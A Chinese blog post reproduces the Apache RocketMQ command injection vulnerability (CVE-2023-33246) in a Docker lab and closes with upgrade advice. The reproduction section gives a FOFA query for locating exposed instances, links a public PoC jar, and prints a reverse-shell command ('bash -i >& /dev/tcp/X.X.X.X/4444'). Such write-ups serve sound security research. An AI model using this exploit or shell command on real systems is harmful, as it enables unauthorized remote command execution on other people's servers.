【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)

文章目录

  • 前言
  • 声明
  • 一、漏洞描述
  • 二、漏洞危害
  • 三、影响版本
  • 四、环境搭建
  • 五、漏洞复现
  • 六、修复建议


前言

RocketMQ 是阿里巴巴在2012年开发的分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。同时它是一个分布式消息和流数据平台,具有低延迟、高性能、高可靠性、万亿级容量和灵活的可扩展性。


声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


一、漏洞描述

在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServerBrokerController等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。


二、漏洞危害

攻击者可以通过使用更新配置功能,以 RocketMQ 运行的系统用户执行命令。此外,攻击者还可以通过伪造 RocketMQ 协议内容达到相同的利用效果。


三、影响版本

  • Apache RocketMQ <= 5.1.0
  • Apache RocketMQ <= 4.9.5

安全版本:

  • Apache RocketMQ 5.x >= 5.1.1
  • Apache RocketMQ 4.x >= 4.9.6

四、环境搭建

本次直接用docker拉取漏洞环境。

下载docker镜像:

docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0

【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)_第1张图片
启动namesrv:

docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

在这里插入图片描述
启动broker服务(先创建并配置broker文件)

创建broker文件目录
mkdir -p /mydata/rocketmq/conf/
配置broker文件
vim /mydata/rocketmq/conf/broker.conf

将下面内容复制粘贴到broker.conf配置文件中:
brokerClusterName = DefaultCluster 
brokerName = broker-a 
brokerId = 0 
deleteWhen = 04 
fileReservedTime = 48 
brokerRole = ASYNC_MASTER 
flushDiskType = SYNC_FLUSH
brokerIP1 = X.X.X.X(宿主机IP)

【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)_第2张图片
启动broker:

docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

在这里插入图片描述
启动Console:

docker run -d --name rmqconsole -p 8899:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=rmqnamesrv:9876 -Droc
ketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

在这里插入图片描述
最后访问IP:8899显示页面如下:
【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)_第3张图片
环境搭建成功!!!

五、漏洞复现

FOFA:title=“RocketMQ”

POC攻击
Github下载地址: https://github.com/Serendipity-Lucky/CVE-2023-33246

使用如下命令进行反弹Shell

PS:自己本地测试的时候,反弹shell的ip不能与docker启动环境的ip一样,不然接收不到shell

命令: java -jar CVE-2023-33246.jar -ip “X.X.X.X” -cmd “bash -i >& /dev/tcp/X.X.X.X/4444 0>&1”
【漏洞复现】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)_第4张图片

六、修复建议

目前官方已发布安全修复更新,受影响用户可以升级到Apache RocketMQ 5.1.1或者4.9.6

https://rocketmq.apache.org/download/
https://vip.tophant.com/patch?keyword=/Apache/Apache%20RocketMQ/Apache%20RocketMQ%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-33246)

你可能感兴趣的:(漏洞复现,apache,rocketmq)